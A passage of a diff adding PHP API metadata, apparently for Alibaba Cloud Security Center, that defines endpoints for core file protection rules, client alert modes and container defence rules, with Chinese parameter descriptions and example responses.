'free', + 'abilityTreeCode' => '188815', + 'abilityTreeNodes' => [ + 'FEATUREsas4OHMAP', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'RuleName', + 'in' => 'query', + 'schema' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'test-rule-1', + ], + ], + [ + 'name' => 'ProcPaths', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '对进程监听的路径列表。', + 'type' => 'array', + 'items' => [ + 'description' => '对进程监听的路径列表。', + 'type' => 'string', + 'required' => false, + 'example' => '/usr/local/*', + ], + 'required' => true, + 'maxItems' => 50, + 'minItems' => 1, + ], + ], + [ + 'name' => 'FilePaths', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '监控的文件路径列表，支持通配。', + 'type' => 'array', + 'items' => [ + 'description' => '监控的文件路径，支持通配。', + 'type' => 'string', + 'required' => false, + 'example' => '/usr/*', + ], + 'required' => true, + 'maxItems' => 50, + 'minItems' => 1, + ], + ], + [ + 'name' => 'FileOps', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '对文件进行的操作列表。', + 'type' => 'array', + 'items' => [ + 'description' => '对文件进行的操作。取值如下：'."\n" + ."\n" + .'- WRITE： 写'."\n" + ."\n" + .'- READ： 读'."\n" + ."\n" + .'- DELETE： 删除'."\n" + ."\n" + .'- RENAME： 重命名'."\n" + ."\n" + .'- CHMOD： 修改权限', + 'type' => 'string', + 'required' => false, + 'example' => 'WRITE', + 'enum' => [ + 'WRITE', + 'READ', + 'DELETE', + 'RENAME', + 'CHOWN', + ], + ], + 'required' => true, + 'maxItems' => 100, + 'minItems' => 1, + ], + ], + [ + 'name' => 'RuleAction', + 'in' => 'query', + 'schema' => [ + 'description' => '规则在客户端的表现形式。取值如下：'."\n" + ."\n" + .'- pass： 放过'."\n" + ."\n" + .'- alert： 告警', + 'type' => 'string', + 'required' => false, + 'example' => 'pass', + 'enum' => [ + 'alert', + 'pass', + ], + ], + ], + [ + 'name' => 'AlertLevel', + 'in' => 'query', + 'schema' => [ + 'description' => '报警通知级别。取值如下：'."\n" + ."\n" + .'- 0: 不告警'."\n" + ."\n" + .'- 1: 提醒'."\n" + ."\n" + .'- 2: 可疑'."\n" + ."\n" + .'- 3: 高危', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + 'enum' => [ + '0', + '1', + '2', + '3', + ], + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '设置规则状态。'."\n" + .'- **0**：未启用'."\n" + .'- **1**：已启用', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + 'enum' => [ + '0', + '1', + ], + ], + ], + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1062', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '339227F4-C9E1-526F-8347-1099C11F65FB', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"339227F4-C9E1-526F-8347-1099C11F65FB\\"\\n}","type":"json"}]', + 'title' => '修改核心文件保护规则', + ], + 'ListFileProtectRule' => [ + 'summary' => '获取核心文件保护功能对应的规则列表。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '188626', + 'abilityTreeNodes' => [ + 'FEATUREsas4OHMAP', + ], + ], + 'parameters' => [ + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'maximum' => '100', + 'minimum' => '1', + 'example' => '10', + 'default' => '10', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'minimum' => '1', + 'example' => '1', + 'default' => '1', + ], + ], + [ + 'name' => 'RuleName', + 'in' => 'query', + 'schema' => [ + 'description' => '配置规则名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test-rule-1', + ], + ], + [ + 'name' => 'AlertLevel', + 'in' => 'query', + 'schema' => [ + 'description' => '报警通知级别。取值如下：'."\n" + ."\n" + .'- 0： 不告警'."\n" + ."\n" + .'- 1： 提醒'."\n" + ."\n" + .'- 2： 可疑'."\n" + ."\n" + .'- 3： 高危', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + 'enum' => [ + '0', + '1', + '2', + '3', + ], + ], + ], + [ + 'name' => 'RuleAction', + 'in' => 'query', + 'schema' => [ + 'description' => '规则在客户端的表现形式。取值如下：'."\n" + ."\n" + .'- pass： 放过'."\n" + ."\n" + .'- alert： 告警', + 'type' => 'string', + 'required' => false, + 'example' => 'pass', + ], + ], + [ + 'name' => 'Platform', + 'in' => 'query', + 'schema' => [ + 'description' => '操作系统类型。取值：'."\n" + ."\n" + .'- **windows**：Windows'."\n" + .'- **linux**：Linux', + 'type' => 'string', + 'required' => false, + 'example' => 'linux', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'FBBEB173-1F43-505F-A876-C03ECDF6CE4C', + ], + 'PageInfo' => [ + 'description' => '分页查询时的页面信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的数据总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '253', + ], + ], + ], + 'FileProtectList' => [ + 'description' => '返回的数据列表。', + 'type' => 'array', + 'items' => [ + 'description' => '返回的数据列表。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '规则对应的状态。取值如下：'."\n" + ."\n" + .'- 0： 关闭'."\n" + .'- 1： 开启', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AlertLevel' => [ + 'description' => '报警通知级别。取值如下：'."\n" + ."\n" + .'- 0： 不告警'."\n" + ."\n" + .'- 1： 提醒'."\n" + ."\n" + .'- 2： 可疑'."\n" + ."\n" + .'- 3： 高危', + 'type' => 'string', + 'example' => '0', + ], + 'SwitchId' => [ + 'description' => '规则对应的开关ID。', + 'type' => 'string', + 'example' => 'FILE_PROTECT_RULE_SWITCH_TYPE_1693474122927', + ], + 'Id' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1412511', + ], + 'FileOps' => [ + 'description' => '对文件进行的操作列表。', + 'type' => 'array', + 'items' => [ + 'description' => '对文件进行的操作。取值如下：'."\n" + ."\n" + .'- WRITE： 写'."\n" + .'- READ： 读'."\n" + .'- DELETE： 删除'."\n" + .'- RENAME： 重命名'."\n" + .'- CHMOD： 修改权限', + 'type' => 'string', + 'example' => 'READ', + ], + ], + 'Action' => [ + 'description' => '规则在客户端的表现形式。取值如下：'."\n" + ."\n" + .'- pass： 放过'."\n" + .'- alert： 告警', + 'type' => 'string', + 'example' => 'pass', + ], + 'FilePaths' => [ + 'description' => '监控的文件路径列表，支持通配。', + 'type' => 'array', + 'items' => [ + 'description' => '监控的文件路径。', + 'type' => 'string', + 'example' => '/usr/*', + ], + ], + 'ProcPaths' => [ + 'description' => '对进程监听的路径列表，支持通配。', + 'type' => 'array', + 'items' => [ + 'description' => '对进程监听的路径列表。', + 'type' => 'string', + 'example' => '/usr/local/*', + ], + ], + 'RuleName' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'example' => 'test11', + ], + 'GmtCreate' => [ + 'description' => '创建时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1682304179000', + ], + 'GmtModified' => [ + 'description' => '最新一次修改时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1682304179000', + ], + 'EffectInstanceCount' => [ + 'description' => '受影响资产总数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '12', + ], + 'Platform' => [ + 'description' => '操作系统类型。取值：'."\n" + ."\n" + .'- **windows**：Windows'."\n" + .'- **linux**：Linux', + 'type' => 'string', + 'example' => 'linux', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FBBEB173-1F43-505F-A876-C03ECDF6CE4C\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 253\\n },\\n \\"FileProtectList\\": [\\n {\\n \\"Status\\": 1,\\n \\"AlertLevel\\": \\"0\\",\\n \\"SwitchId\\": \\"FILE_PROTECT_RULE_SWITCH_TYPE_1693474122927\\",\\n \\"Id\\": 1412511,\\n \\"FileOps\\": [\\n \\"READ\\"\\n ],\\n \\"Action\\": \\"pass\\",\\n \\"FilePaths\\": [\\n \\"/usr/*\\"\\n ],\\n \\"ProcPaths\\": [\\n \\"/usr/local/*\\"\\n ],\\n \\"RuleName\\": \\"test11\\",\\n \\"GmtCreate\\": 1682304179000,\\n \\"GmtModified\\": 1682304179000,\\n \\"EffectInstanceCount\\": 12,\\n \\"Platform\\": \\"linux\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取核心文件保护规则列表', + ], + 'CreateFileProtectRule' => [ + 'summary' => '新建核心文件防护规则。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '188597', + 'abilityTreeNodes' => [ + 'FEATUREsas4OHMAP', + ], + ], + 'parameters' => [ + [ + 'name' => 'RuleName', + 'in' => 'query', + 'schema' => [ + 'description' => '配置规则名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'tetsRule', + ], + ], + [ + 'name' => 'ProcPaths', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '对进程监听的路径列表，支持通配。', + 'type' => 'array', + 'items' => [ + 'description' => '对进程监听的路径。', + 'type' => 'string', + 'required' => false, + 'example' => '/usr/local/*', + ], + 'required' => true, + 'maxItems' => 50, + 'minItems' => 1, + ], + ], + [ + 'name' => 'FilePaths', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '监控的文件路径列表，支持通配。', + 'type' => 'array', + 'items' => [ + 'description' => '监控的文件路径。', + 'type' => 'string', + 'required' => false, + 'example' => '/usr/*', + ], + 'required' => true, + 'maxItems' => 50, + 'minItems' => 1, + ], + ], + [ + 'name' => 'FileOps', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '对文件进行的操作列表。', + 'type' => 'array', + 'items' => [ + 'description' => '对文件进行的操作。取值如下：'."\n" + ."\n" + .'- WRITE：写'."\n" + ."\n" + .'- READ：读'."\n" + ."\n" + .'- DELETE： 删除'."\n" + ."\n" + .'- RENAME： 重命名'."\n" + ."\n" + .'- CHMOD： 修改权限', + 'type' => 'string', + 'required' => false, + 'example' => 'CHMOD', + 'enum' => [ + 'WRITE', + 'READ', + 'DELETE', + 'RENAME', + 'CHMOD', + ], + ], + 'required' => true, + 'maxItems' => 100, + 'minItems' => 1, + ], + ], + [ + 'name' => 'RuleAction', + 'in' => 'query', + 'schema' => [ + 'description' => '规则在客户端的表现形式。取值如下：'."\n" + ."\n" + .'- pass： 放过'."\n" + ."\n" + .'- alert： 告警', + 'type' => 'string', + 'required' => true, + 'example' => 'pass', + 'enum' => [ + 'alert', + 'pass', + ], + ], + ], + [ + 'name' => 'AlertLevel', + 'in' => 'query', + 'schema' => [ + 'description' => '报警通知级别。取值如下：'."\n" + ."\n" + .'- 0：不告警'."\n" + ."\n" + .'- 1： 提醒'."\n" + ."\n" + .'- 2： 可疑'."\n" + ."\n" + .'- 3： 高危', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + 'enum' => [ + '0', + '1', + '2', + '3', + ], + ], + ], + [ + 'name' => 'SwitchId', + 'in' => 'query', + 'schema' => [ + 'description' => '规则对应的开关ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'FILE_PROTECT_RULE_SWITCH_TYPE_0000', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '规则状态。'."\n" + .'- **1**：已启用'."\n" + .'- **0**：未启用', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + 'enum' => [ + '0', + '1', + ], + ], + ], + [ + 'name' => 'Platform', + 'in' => 'query', + 'schema' => [ + 'description' => '操作系统类型。取值：'."\n" + ."\n" + .'- **windows**：Windows'."\n" + .'- **linux**：Linux', + 'type' => 'string', + 'required' => false, + 'example' => 'linux', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'EC7C8984-D108-516F-9D36-3DF1D1228CCA', + ], + 'RuleId' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '123', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'InvalidFilePath', + 'errorMessage' => 'Invalid FilePath value.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"EC7C8984-D108-516F-9D36-3DF1D1228CCA\\",\\n \\"RuleId\\": 123\\n}","type":"json"}]', + 'title' => '创建核心文件防护规则', + ], + 'GetFileProtectRule' => [ + 'summary' => '获取文件保护规则。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '188625', + 'abilityTreeNodes' => [ + 'FEATUREsas4OHMAP', + ], + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '245', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C0DF9057-67C5-574D-A2D2-0CA9AC74C4D3', + ], + 'Data' => [ + 'description' => '数据详情。', + 'type' => 'object', + 'properties' => [ + 'Action' => [ + 'description' => '规则在客户端的表现形式。取值如下：'."\n" + ."\n" + .'1. pass： 放过'."\n" + .'2. alert： 告警', + 'type' => 'string', + 'example' => 'pass', + ], + 'RuleName' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'example' => 'test-000', + ], + 'SwitchId' => [ + 'description' => '规则对应的开关ID。', + 'type' => 'string', + 'example' => 'FILE_PROTECT_RULE_SWITCH_TYPE_0000', + ], + 'Id' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '44616', + ], + 'AlertLevel' => [ + 'description' => '报警通知级别。取值如下：'."\n" + ."\n" + .'- 0： 不告警'."\n" + ."\n" + .'- 1： 提醒'."\n" + ."\n" + .'- 2： 可疑'."\n" + ."\n" + .'- 3： 高危', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'FileOps' => [ + 'description' => '对文件进行的操作列表。', + 'type' => 'array', + 'items' => [ + 'description' => '对文件进行的操作。取值如下：'."\n" + .'1. WRITE： 写'."\n" + .'2. READ： 读'."\n" + .'3. DELETE： 删除'."\n" + .'4. RENAME： 重命名'."\n" + .'5. CHMOD： 修改权限', + 'type' => 'string', + 'example' => 'CHMOD', + ], + ], + 'FilePaths' => [ + 'description' => '监控的文件路径。', + 'type' => 'array', + 'items' => [ + 'description' => '监听的文件路径，支持通配。', + 'type' => 'string', + 'example' => '/usr/*', + ], + ], + 'ProcPaths' => [ + 'description' => '对进程监听的路径列表。', + 'type' => 'array', + 'items' => [ + 'description' => '进程路径，支持通配。', + 'type' => 'string', + 'example' => '/usr/local/*', + ], + ], + 'Status' => [ + 'description' => '规则对应的状态。取值如下：'."\n" + ."\n" + .'1. 0： 关闭'."\n" + .'2. 1： 开启', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Platform' => [ + 'description' => '操作系统类型。取值：'."\n" + ."\n" + .'- **windows**：widows'."\n" + .'- **linux**：linux', + 'type' => 'string', + 'example' => 'linux', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C0DF9057-67C5-574D-A2D2-0CA9AC74C4D3\\",\\n \\"Data\\": {\\n \\"Action\\": \\"pass\\",\\n \\"RuleName\\": \\"test-000\\",\\n \\"SwitchId\\": \\"FILE_PROTECT_RULE_SWITCH_TYPE_0000\\",\\n \\"Id\\": 44616,\\n \\"AlertLevel\\": 0,\\n \\"FileOps\\": [\\n \\"CHMOD\\"\\n ],\\n \\"FilePaths\\": [\\n \\"/usr/*\\"\\n ],\\n \\"ProcPaths\\": [\\n \\"/usr/local/*\\"\\n ],\\n \\"Status\\": 1,\\n \\"Platform\\": \\"linux\\"\\n }\\n}","type":"json"}]', + 'title' => '获取核心文件防护规则', + ], + 'ListClientAlertMode' => [ + 'summary' => '查询资产的告警设置，资产告警设置默认为均衡模式，只有严格模式才会返回详细的资产列表。', + 'methods' => [ + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '192434', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'Mode', + 'in' => 'query', + 'schema' => [ + 'description' => '指定防护模式。取值：'."\n" + .'- **strict**：严格模式，有一定的误报风险，建议在重保期间使用。'."\n" + .'- **balance**：均衡模式，在减少误报的情况下检出更多可疑风险。', + 'type' => 'string', + 'required' => false, + 'example' => 'strict', + 'enum' => [ + 'strict', + 'balance', + ], + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', + ], + 'Data' => [ + 'description' => '请求接口返回的数据', + 'type' => 'object', + 'properties' => [ + 'Uuids' => [ + 'description' => '资产UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '资产UUID。', + 'type' => 'string', + 'example' => '0c1714dc-f7a3-4265-8364-7aa3fce8c716', + ], + ], + 'Count' => [ + 'description' => '返回数据总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\",\\n \\"Data\\": {\\n \\"Uuids\\": [\\n \\"0c1714dc-f7a3-4265-8364-7aa3fce8c716\\"\\n ],\\n \\"Count\\": 5\\n }\\n}","type":"json"}]', + 'title' => '获取告警设置列表', + ], + 'UpdateClientAlertMode' => [ + 'summary' => '修改机器告警设置。', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '192122', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Uuids', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '服务器的UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '云盾生成的客户端唯一标识uuid。', + 'type' => 'string', + 'required' => false, + 'example' => 'becf3661-80aa-4083-858d-619dafa3449a', + ], + 'required' => false, + 'maxItems' => 500, + 'minItems' => 1, + ], + ], + [ + 'name' => 'Mode', + 'in' => 'query', + 'schema' => [ + 'description' => '指定防护模式。取值：'."\n" + .'- **strict**：严格模式，有一定的误报风险，建议在重保期间使用。'."\n" + .'- **balance**：均衡模式，在减少误报的情况下检出更多可疑风险。', + 'type' => 'string', + 'required' => false, + 'example' => 'balance', + 'enum' => [ + 'strict', + 'balance', + ], + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '259E3E77-CA6D-5407-84A5-3A1C98D12F14', + ], + 'Data' => [ + 'description' => '返回数据。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"259E3E77-CA6D-5407-84A5-3A1C98D12F14\\",\\n \\"Data\\": true\\n}","type":"json"}]', + 'title' => '告警设置', + ], + 'ListContainerDefenseRuleClusters' => [ + 'summary' => '获取非镜像程序防御规则包含的所有集群列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListResult', + 'description' => 'ListResult', + 'type' => 'object', + 'properties' => [ + 'ClusterList' => [ + 'description' => '集群列表', + 'type' => 'array', + 'items' => [ + 'description' => '集群信息。', + 'type' => 'object', + 'properties' => [ + 'ClusterId' => [ + 'description' => '集群的ID。', + 'type' => 'string', + 'example' => 'cfeb7a9f99ce740e98c5595d0fe37****', + ], + 'RuleId' => [ + 'description' => '规则ID。'."\n" + .'> 您可以调用[ListInterceptionRulePage](~~2590599~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '403178', + ], + 'AllNamespace' => [ + 'description' => '是否包含所有命名空间，取值：'."\n" + ."\n" + .'- **0**：否。'."\n" + .'- **1**：是。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Namespaces' => [ + 'description' => '命名空间列表', + 'type' => 'array', + 'items' => [ + 'description' => '命名空间ID', + 'type' => 'string', + 'example' => 'kube-system', + ], + ], + ], + ], + ], + 'Count' => [ + 'description' => '返回条数', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '返回结果的提示信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1F995515-CAF3-5F84-8D82-C9F706AD5070', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ClusterList\\": [\\n {\\n \\"ClusterId\\": \\"cfeb7a9f99ce740e98c5595d0fe37****\\",\\n \\"RuleId\\": 403178,\\n \\"AllNamespace\\": 1,\\n \\"Namespaces\\": [\\n \\"kube-system\\"\\n ]\\n }\\n ],\\n \\"Count\\": 1,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"1F995515-CAF3-5F84-8D82-C9F706AD5070\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '获取非镜像程序防御规则包含的所有集群列表', + ], + 'ListContainerDefenseRule' => [ + 'summary' => '获取非镜像程序防御规则列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'RuleType', + 'in' => 'query', + 'schema' => [ + 'description' => '规则类型。取值：'."\n" + .'- 1: 系统规则'."\n" + .'- 2: 用户规则', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Conditions', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '条件列表。', + 'type' => 'array', + 'items' => [ + 'description' => '条件列表。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '条件类型。支持以下类型：'."\n" + ."\n" + .'- **ruleName**：规则名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'ruleName', + ], + 'Value' => [ + 'description' => '条件内容。', + 'type' => 'string', + 'required' => false, + 'example' => 'auto-test-rule-**', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值**zh**。取值：'."\n" + 